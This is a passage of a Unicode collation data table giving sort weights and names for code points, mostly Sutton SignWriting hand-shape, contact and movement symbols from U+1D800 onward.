BOLD PARTIAL DIFFERENTIAL +1D7A9 ; [*05EC.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC NABLA +1D7C3 ; [*05E8.0020.0005] # MATHEMATICAL SANS-SERIF BOLD ITALIC PARTIAL DIFFERENTIAL +1D800 ; [*17CF.0020.0002] # SIGNWRITING HAND-FIST INDEX +1D801 ; [*17D0.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX +1D802 ; [*17D1.0020.0002] # SIGNWRITING HAND-CUP INDEX +1D803 ; [*17D2.0020.0002] # SIGNWRITING HAND-OVAL INDEX +1D804 ; [*17D3.0020.0002] # SIGNWRITING HAND-HINGE INDEX +1D805 ; [*17D4.0020.0002] # SIGNWRITING HAND-ANGLE INDEX +1D806 ; [*17D5.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT +1D807 ; [*17D6.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX BENT +1D808 ; [*17D7.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER INDEX BENT +1D809 ; [*17D8.0020.0002] # SIGNWRITING HAND-FIST INDEX RAISED KNUCKLE +1D80A ; [*17D9.0020.0002] # SIGNWRITING HAND-FIST INDEX CUPPED +1D80B ; [*17DA.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED +1D80C ; [*17DB.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED LOW +1D80D ; [*17DC.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX HINGE +1D80E ; [*17DD.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE +1D80F ; [*17DE.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE +1D810 ; [*17DF.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT +1D811 ; [*17E0.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RAISED KNUCKLES +1D812 ; [*17E1.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED +1D813 ; [*17E2.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED +1D814 ; [*17E3.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP +1D815 ; [*17E4.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED +1D816 ; [*17E5.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED INDEX BENT +1D817 ; [*17E6.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED MIDDLE BENT +1D818 ; [*17E7.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED +1D819 ; [*17E8.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED +1D81A ; [*17E9.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED +1D81B ; [*17EA.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSSED +1D81C ; [*17EB.0020.0002] # SIGNWRITING HAND-FIST MIDDLE BENT OVER INDEX +1D81D ; [*17EC.0020.0002] # SIGNWRITING HAND-FIST INDEX BENT OVER MIDDLE +1D81E ; [*17ED.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB +1D81F ; [*17EE.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE THUMB +1D820 ; [*17EF.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE STRAIGHT THUMB BENT +1D821 ; [*17F0.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE BENT THUMB STRAIGHT +1D822 ; [*17F1.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB BENT +1D823 ; [*17F2.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE HINGED SPREAD THUMB SIDE +1D824 ; [*17F3.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB SIDE +1D825 ; [*17F4.0020.0002] # SIGNWRITING HAND-FIST INDEX UP MIDDLE HINGED THUMB CONJOINED +1D826 ; [*17F5.0020.0002] # SIGNWRITING HAND-FIST INDEX HINGED MIDDLE UP THUMB SIDE +1D827 ; [*17F6.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE UP SPREAD THUMB FORWARD +1D828 ; [*17F7.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CUPPED +1D829 ; [*17F8.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CIRCLED +1D82A ; [*17F9.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HOOKED +1D82B ; [*17FA.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB HINGED +1D82C ; [*17FB.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE STRAIGHT +1D82D ; [*17FC.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE +1D82E ; [*17FD.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE CONJOINED +1D82F ; [*17FE.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB SIDE BENT +1D830 ; [*17FF.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB HOOKED INDEX UP +1D831 ; [*1800.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE UP +1D832 ; [*1801.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED HINGED THUMB SIDE +1D833 ; [*1802.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSSED THUMB SIDE +1D834 ; [*1803.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED THUMB FORWARD +1D835 ; [*1804.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CONJOINED CUPPED THUMB FORWARD +1D836 ; [*1805.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CUPPED INDEX UP +1D837 ; [*1806.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CUPPED MIDDLE UP +1D838 ; [*1807.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX UP +1D839 ; [*1808.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB CIRCLED INDEX HINGED +1D83A ; [*1809.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED OUT MIDDLE UP +1D83B ; [*180A.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB ANGLED IN MIDDLE UP +1D83C ; [*180B.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLED MIDDLE UP +1D83D ; [*180C.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB CONJOINED HINGED +1D83E ; [*180D.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED OUT +1D83F ; [*180E.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE THUMB ANGLED +1D840 ; [*180F.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX UP +1D841 ; [*1810.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED OUT INDEX CROSSED +1D842 ; [*1811.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB ANGLED INDEX UP +1D843 ; [*1812.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOKED MIDDLE HINGED +1D844 ; [*1813.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS +1D845 ; [*1814.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS BENT +1D846 ; [*1815.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS HINGED +1D847 ; [*1816.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED +1D848 ; [*1817.0020.0002] # SIGNWRITING HAND-FLAT FOUR FINGERS CONJOINED SPLIT +1D849 ; [*1818.0020.0002] # SIGNWRITING HAND-CLAW FOUR FINGERS CONJOINED +1D84A ; [*1819.0020.0002] # SIGNWRITING HAND-FIST FOUR FINGERS CONJOINED BENT +1D84B ; [*181A.0020.0002] # SIGNWRITING HAND-HINGE FOUR FINGERS CONJOINED +1D84C ; [*181B.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD +1D84D ; [*181C.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD +1D84E ; [*181D.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD FOUR BENT +1D84F ; [*181E.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD FOUR BENT +1D850 ; [*181F.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD BENT +1D851 ; [*1820.0020.0002] # SIGNWRITING HAND-FLAT HEEL FIVE FINGERS SPREAD BENT +1D852 ; [*1821.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD THUMB FORWARD +1D853 ; [*1822.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD +1D854 ; [*1823.0020.0002] # SIGNWRITING HAND-CUP FIVE FINGERS SPREAD OPEN +1D855 ; [*1824.0020.0002] # SIGNWRITING HAND-HINGE FIVE FINGERS SPREAD OPEN +1D856 ; [*1825.0020.0002] # SIGNWRITING HAND-OVAL FIVE FINGERS SPREAD +1D857 ; [*1826.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED +1D858 ; [*1827.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED THUMB SIDE +1D859 ; [*1828.0020.0002] # SIGNWRITING HAND-FLAT FIVE FINGERS SPREAD HINGED NO THUMB +1D85A ; [*1829.0020.0002] # SIGNWRITING HAND-FLAT +1D85B ; [*182A.0020.0002] # SIGNWRITING HAND-FLAT BETWEEN PALM FACINGS +1D85C ; [*182B.0020.0002] # SIGNWRITING HAND-FLAT HEEL +1D85D ; [*182C.0020.0002] # SIGNWRITING HAND-FLAT THUMB SIDE +1D85E ; [*182D.0020.0002] # SIGNWRITING HAND-FLAT HEEL THUMB SIDE +1D85F ; [*182E.0020.0002] # SIGNWRITING HAND-FLAT THUMB BENT +1D860 ; [*182F.0020.0002] # SIGNWRITING HAND-FLAT THUMB FORWARD +1D861 ; [*1830.0020.0002] # SIGNWRITING HAND-FLAT SPLIT INDEX THUMB SIDE +1D862 ; [*1831.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE +1D863 ; [*1832.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE +1D864 ; [*1833.0020.0002] # SIGNWRITING HAND-FLAT SPLIT CENTRE THUMB SIDE BENT +1D865 ; [*1834.0020.0002] # SIGNWRITING HAND-FLAT SPLIT LITTLE +1D866 ; [*1835.0020.0002] # SIGNWRITING HAND-CLAW +1D867 ; [*1836.0020.0002] # SIGNWRITING HAND-CLAW THUMB SIDE +1D868 ; [*1837.0020.0002] # SIGNWRITING HAND-CLAW NO THUMB +1D869 ; [*1838.0020.0002] # SIGNWRITING HAND-CLAW THUMB FORWARD +1D86A ; [*1839.0020.0002] # SIGNWRITING HAND-HOOK CURLICUE +1D86B ; [*183A.0020.0002] # SIGNWRITING HAND-HOOK +1D86C ; [*183B.0020.0002] # SIGNWRITING HAND-CUP OPEN +1D86D ; [*183C.0020.0002] # SIGNWRITING HAND-CUP +1D86E ; [*183D.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB SIDE +1D86F ; [*183E.0020.0002] # SIGNWRITING HAND-CUP THUMB SIDE +1D870 ; [*183F.0020.0002] # SIGNWRITING HAND-CUP OPEN NO THUMB +1D871 ; [*1840.0020.0002] # SIGNWRITING HAND-CUP NO THUMB +1D872 ; [*1841.0020.0002] # SIGNWRITING HAND-CUP OPEN THUMB FORWARD +1D873 ; [*1842.0020.0002] # SIGNWRITING HAND-CUP THUMB FORWARD +1D874 ; [*1843.0020.0002] # SIGNWRITING HAND-CURLICUE OPEN +1D875 ; [*1844.0020.0002] # SIGNWRITING HAND-CURLICUE +1D876 ; [*1845.0020.0002] # SIGNWRITING HAND-CIRCLE +1D877 ; [*1846.0020.0002] # SIGNWRITING HAND-OVAL +1D878 ; [*1847.0020.0002] # SIGNWRITING HAND-OVAL THUMB SIDE +1D879 ; [*1848.0020.0002] # SIGNWRITING HAND-OVAL NO THUMB +1D87A ; [*1849.0020.0002] # SIGNWRITING HAND-OVAL THUMB FORWARD +1D87B ; [*184A.0020.0002] # SIGNWRITING HAND-HINGE OPEN +1D87C ; [*184B.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB FORWARD +1D87D ; [*184C.0020.0002] # SIGNWRITING HAND-HINGE +1D87E ; [*184D.0020.0002] # SIGNWRITING HAND-HINGE SMALL +1D87F ; [*184E.0020.0002] # SIGNWRITING HAND-HINGE OPEN THUMB SIDE +1D880 ; [*184F.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE +1D881 ; [*1850.0020.0002] # SIGNWRITING HAND-HINGE OPEN NO THUMB +1D882 ; [*1851.0020.0002] # SIGNWRITING HAND-HINGE NO THUMB +1D883 ; [*1852.0020.0002] # SIGNWRITING HAND-HINGE THUMB SIDE TOUCHING INDEX +1D884 ; [*1853.0020.0002] # SIGNWRITING HAND-HINGE THUMB BETWEEN MIDDLE RING +1D885 ; [*1854.0020.0002] # SIGNWRITING HAND-ANGLE +1D886 ; [*1855.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING +1D887 ; [*1856.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE RING +1D888 ; [*1857.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING +1D889 ; [*1858.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE RING +1D88A ; [*1859.0020.0002] # SIGNWRITING HAND-HINGE LITTLE +1D88B ; [*185A.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING BENT +1D88C ; [*185B.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE RING CONJOINED +1D88D ; [*185C.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE RING CONJOINED +1D88E ; [*185D.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN +1D88F ; [*185E.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE STRAIGHT +1D890 ; [*185F.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN RIPPLE CURVED +1D891 ; [*1860.0020.0002] # SIGNWRITING HAND-FIST LITTLE DOWN OTHERS CIRCLED +1D892 ; [*1861.0020.0002] # SIGNWRITING HAND-FIST LITTLE UP +1D893 ; [*1862.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER LITTLE UP +1D894 ; [*1863.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE UP +1D895 ; [*1864.0020.0002] # SIGNWRITING HAND-OVAL LITTLE UP +1D896 ; [*1865.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE UP +1D897 ; [*1866.0020.0002] # SIGNWRITING HAND-FIST LITTLE RAISED KNUCKLE +1D898 ; [*1867.0020.0002] # SIGNWRITING HAND-FIST LITTLE BENT +1D899 ; [*1868.0020.0002] # SIGNWRITING HAND-FIST LITTLE TOUCHES THUMB +1D89A ; [*1869.0020.0002] # SIGNWRITING HAND-FIST LITTLE THUMB +1D89B ; [*186A.0020.0002] # SIGNWRITING HAND-HINGE LITTLE THUMB +1D89C ; [*186B.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX THUMB +1D89D ; [*186C.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX THUMB +1D89E ; [*186D.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB OUT +1D89F ; [*186E.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX THUMB INDEX THUMB +1D8A0 ; [*186F.0020.0002] # SIGNWRITING HAND-FIST LITTLE INDEX +1D8A1 ; [*1870.0020.0002] # SIGNWRITING HAND-CIRCLE LITTLE INDEX +1D8A2 ; [*1871.0020.0002] # SIGNWRITING HAND-HINGE LITTLE INDEX +1D8A3 ; [*1872.0020.0002] # SIGNWRITING HAND-ANGLE LITTLE INDEX +1D8A4 ; [*1873.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE LITTLE +1D8A5 ; [*1874.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE LITTLE +1D8A6 ; [*1875.0020.0002] # SIGNWRITING HAND-HINGE INDEX MIDDLE LITTLE +1D8A7 ; [*1876.0020.0002] # SIGNWRITING HAND-HINGE RING +1D8A8 ; [*1877.0020.0002] # SIGNWRITING HAND-ANGLE INDEX MIDDLE LITTLE +1D8A9 ; [*1878.0020.0002] # SIGNWRITING HAND-FIST INDEX MIDDLE CROSS LITTLE +1D8AA ; [*1879.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX MIDDLE CROSS LITTLE +1D8AB ; [*187A.0020.0002] # SIGNWRITING HAND-FIST RING DOWN +1D8AC ; [*187B.0020.0002] # SIGNWRITING HAND-HINGE RING DOWN INDEX THUMB HOOK MIDDLE +1D8AD ; [*187C.0020.0002] # SIGNWRITING HAND-ANGLE RING DOWN MIDDLE THUMB INDEX CROSS +1D8AE ; [*187D.0020.0002] # SIGNWRITING HAND-FIST RING UP +1D8AF ; [*187E.0020.0002] # SIGNWRITING HAND-FIST RING RAISED KNUCKLE +1D8B0 ; [*187F.0020.0002] # SIGNWRITING HAND-FIST RING LITTLE +1D8B1 ; [*1880.0020.0002] # SIGNWRITING HAND-CIRCLE RING LITTLE +1D8B2 ; [*1881.0020.0002] # SIGNWRITING HAND-OVAL RING LITTLE +1D8B3 ; [*1882.0020.0002] # SIGNWRITING HAND-ANGLE RING LITTLE +1D8B4 ; [*1883.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE +1D8B5 ; [*1884.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE CONJOINED +1D8B6 ; [*1885.0020.0002] # SIGNWRITING HAND-FIST RING MIDDLE RAISED KNUCKLES +1D8B7 ; [*1886.0020.0002] # SIGNWRITING HAND-FIST RING INDEX +1D8B8 ; [*1887.0020.0002] # SIGNWRITING HAND-FIST RING THUMB +1D8B9 ; [*1888.0020.0002] # SIGNWRITING HAND-HOOK RING THUMB +1D8BA ; [*1889.0020.0002] # SIGNWRITING HAND-FIST INDEX RING LITTLE +1D8BB ; [*188A.0020.0002] # SIGNWRITING HAND-CIRCLE INDEX RING LITTLE +1D8BC ; [*188B.0020.0002] # SIGNWRITING HAND-CURLICUE INDEX RING LITTLE ON +1D8BD ; [*188C.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE OUT +1D8BE ; [*188D.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE IN +1D8BF ; [*188E.0020.0002] # SIGNWRITING HAND-HOOK INDEX RING LITTLE UNDER +1D8C0 ; [*188F.0020.0002] # SIGNWRITING HAND-CUP INDEX RING LITTLE +1D8C1 ; [*1890.0020.0002] # SIGNWRITING HAND-HINGE INDEX RING LITTLE +1D8C2 ; [*1891.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE OUT +1D8C3 ; [*1892.0020.0002] # SIGNWRITING HAND-ANGLE INDEX RING LITTLE +1D8C4 ; [*1893.0020.0002] # SIGNWRITING HAND-FIST MIDDLE DOWN +1D8C5 ; [*1894.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE +1D8C6 ; [*1895.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP +1D8C7 ; [*1896.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE UP +1D8C8 ; [*1897.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RAISED KNUCKLE +1D8C9 ; [*1898.0020.0002] # SIGNWRITING HAND-FIST MIDDLE UP THUMB SIDE +1D8CA ; [*1899.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE THUMB +1D8CB ; [*189A.0020.0002] # SIGNWRITING HAND-FIST MIDDLE THUMB LITTLE +1D8CC ; [*189B.0020.0002] # SIGNWRITING HAND-FIST MIDDLE LITTLE +1D8CD ; [*189C.0020.0002] # SIGNWRITING HAND-FIST MIDDLE RING LITTLE +1D8CE ; [*189D.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE +1D8CF ; [*189E.0020.0002] # SIGNWRITING HAND-CURLICUE MIDDLE RING LITTLE ON +1D8D0 ; [*189F.0020.0002] # SIGNWRITING HAND-CUP MIDDLE RING LITTLE +1D8D1 ; [*18A0.0020.0002] # SIGNWRITING HAND-HINGE MIDDLE RING LITTLE +1D8D2 ; [*18A1.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE OUT +1D8D3 ; [*18A2.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE IN +1D8D4 ; [*18A3.0020.0002] # SIGNWRITING HAND-ANGLE MIDDLE RING LITTLE +1D8D5 ; [*18A4.0020.0002] # SIGNWRITING HAND-CIRCLE MIDDLE RING LITTLE BENT +1D8D6 ; [*18A5.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED +1D8D7 ; [*18A6.0020.0002] # SIGNWRITING HAND-CLAW MIDDLE RING LITTLE CONJOINED SIDE +1D8D8 ; [*18A7.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED OUT +1D8D9 ; [*18A8.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED IN +1D8DA ; [*18A9.0020.0002] # SIGNWRITING HAND-HOOK MIDDLE RING LITTLE CONJOINED +1D8DB ; [*18AA.0020.0002] # SIGNWRITING HAND-HINGE INDEX HINGED +1D8DC ; [*18AB.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE +1D8DD ; [*18AC.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SIDE +1D8DE ; [*18AD.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB DIAGONAL +1D8DF ; [*18AE.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB CONJOINED +1D8E0 ; [*18AF.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE THUMB BENT +1D8E1 ; [*18B0.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX BENT +1D8E2 ; [*18B1.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE BOTH BENT +1D8E3 ; [*18B2.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB SIDE INDEX HINGE +1D8E4 ; [*18B3.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX STRAIGHT +1D8E5 ; [*18B4.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB FORWARD INDEX BENT +1D8E6 ; [*18B5.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB HOOK +1D8E7 ; [*18B6.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURLICUE +1D8E8 ; [*18B7.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB INSIDE +1D8E9 ; [*18B8.0020.0002] # SIGNWRITING HAND-CLAW INDEX THUMB CURVE THUMB INSIDE +1D8EA ; [*18B9.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CURVE THUMB UNDER +1D8EB ; [*18BA.0020.0002] # SIGNWRITING HAND-FIST INDEX THUMB CIRCLE +1D8EC ; [*18BB.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB +1D8ED ; [*18BC.0020.0002] # SIGNWRITING HAND-CUP INDEX THUMB OPEN +1D8EE ; [*18BD.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB OPEN +1D8EF ; [*18BE.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB LARGE +1D8F0 ; [*18BF.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB +1D8F1 ; [*18C0.0020.0002] # SIGNWRITING HAND-HINGE INDEX THUMB SMALL +1D8F2 ; [*18C1.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB OUT +1D8F3 ; [*18C2.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB IN +1D8F4 ; [*18C3.0020.0002] # SIGNWRITING HAND-ANGLE INDEX THUMB +1D8F5 ; [*18C4.0020.0002] # SIGNWRITING HAND-FIST THUMB +1D8F6 ; [*18C5.0020.0002] # SIGNWRITING HAND-FIST THUMB HEEL +1D8F7 ; [*18C6.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE DIAGONAL +1D8F8 ; [*18C7.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE CONJOINED +1D8F9 ; [*18C8.0020.0002] # SIGNWRITING HAND-FIST THUMB SIDE BENT +1D8FA ; [*18C9.0020.0002] # SIGNWRITING HAND-FIST THUMB FORWARD +1D8FB ; [*18CA.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN INDEX MIDDLE +1D8FC ; [*18CB.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN MIDDLE RING +1D8FD ; [*18CC.0020.0002] # SIGNWRITING HAND-FIST THUMB BETWEEN RING LITTLE +1D8FE ; [*18CD.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER TWO FINGERS +1D8FF ; [*18CE.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER TWO FINGERS +1D900 ; [*18CF.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER THREE FINGERS +1D901 ; [*18D0.0020.0002] # SIGNWRITING HAND-FIST THUMB UNDER FOUR FINGERS +1D902 ; [*18D1.0020.0002] # SIGNWRITING HAND-FIST THUMB OVER FOUR RAISED KNUCKLES +1D903 ; [*18D2.0020.0002] # SIGNWRITING HAND-FIST +1D904 ; [*18D3.0020.0002] # SIGNWRITING HAND-FIST HEEL +1D905 ; [*18D4.0020.0002] # SIGNWRITING TOUCH SINGLE +1D906 ; [*18D5.0020.0002] # SIGNWRITING TOUCH MULTIPLE +1D907 ; [*18D6.0020.0002] # SIGNWRITING TOUCH BETWEEN +1D908 ; [*18D7.0020.0002] # SIGNWRITING GRASP SINGLE +1D909 ; [*18D8.0020.0002] # SIGNWRITING GRASP MULTIPLE +1D90A ; [*18D9.0020.0002] # SIGNWRITING GRASP BETWEEN +1D90B ; [*18DA.0020.0002] # SIGNWRITING STRIKE SINGLE +1D90C ; [*18DB.0020.0002] # SIGNWRITING STRIKE MULTIPLE +1D90D ; [*18DC.0020.0002] # SIGNWRITING STRIKE BETWEEN +1D90E ; [*18DD.0020.0002] # SIGNWRITING BRUSH SINGLE +1D90F ; [*18DE.0020.0002] # SIGNWRITING BRUSH MULTIPLE +1D910 ; [*18DF.0020.0002] # SIGNWRITING BRUSH BETWEEN +1D911 ; [*18E0.0020.0002] # SIGNWRITING RUB SINGLE +1D912 ; [*18E1.0020.0002] # SIGNWRITING RUB MULTIPLE +1D913 ; [*18E2.0020.0002] # SIGNWRITING RUB BETWEEN +1D914 ; [*18E3.0020.0002] # SIGNWRITING SURFACE SYMBOLS +1D915 ; [*18E4.0020.0002] # SIGNWRITING SURFACE BETWEEN +1D916 ; [*18E5.0020.0002] # SIGNWRITING SQUEEZE LARGE SINGLE +1D917 ; [*18E6.0020.0002] # SIGNWRITING SQUEEZE SMALL SINGLE +1D918 ; [*18E7.0020.0002] # SIGNWRITING SQUEEZE LARGE MULTIPLE +1D919 ; [*18E8.0020.0002] # SIGNWRITING SQUEEZE SMALL MULTIPLE +1D91A ; [*18E9.0020.0002] # SIGNWRITING SQUEEZE SEQUENTIAL +1D91B ; [*18EA.0020.0002] # SIGNWRITING FLICK LARGE SINGLE +1D91C ; [*18EB.0020.0002] # SIGNWRITING FLICK SMALL SINGLE +1D91D ; [*18EC.0020.0002] # SIGNWRITING FLICK LARGE MULTIPLE +1D91E ; [*18ED.0020.0002] # SIGNWRITING FLICK SMALL MULTIPLE +1D91F ; [*18EE.0020.0002] # SIGNWRITING FLICK SEQUENTIAL +1D920 ; [*18EF.0020.0002] # SIGNWRITING SQUEEZE FLICK ALTERNATING +1D921 ; [*18F0.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN LARGE +1D922 ; [*18F1.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN SMALL +1D923 ; [*18F2.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP SEQUENTIAL +1D924 ; [*18F3.0020.0002] # SIGNWRITING MOVEMENT-HINGE DOWN SEQUENTIAL +1D925 ; [*18F4.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING LARGE +1D926 ; [*18F5.0020.0002] # SIGNWRITING MOVEMENT-HINGE UP DOWN ALTERNATING SMALL +1D927 ; [*18F6.0020.0002] # SIGNWRITING MOVEMENT-HINGE SIDE TO SIDE SCISSORS +1D928 ; [*18F7.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE FINGER CONTACT +1D929 ; [*18F8.0020.0002] # SIGNWRITING MOVEMENT-FLOORPLANE FINGER CONTACT +1D92A ; [*18F9.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT SMALL +1D92B ; [*18FA.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT MEDIUM +1D92C ; [*18FB.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGE +1D92D ; [*18FC.0020.0002] # SIGNWRITING MOVEMENT-WALLPLANE SINGLE STRAIGHT LARGEST +1D92E ; [*18FD.0020.0002] # SIGNWRITING 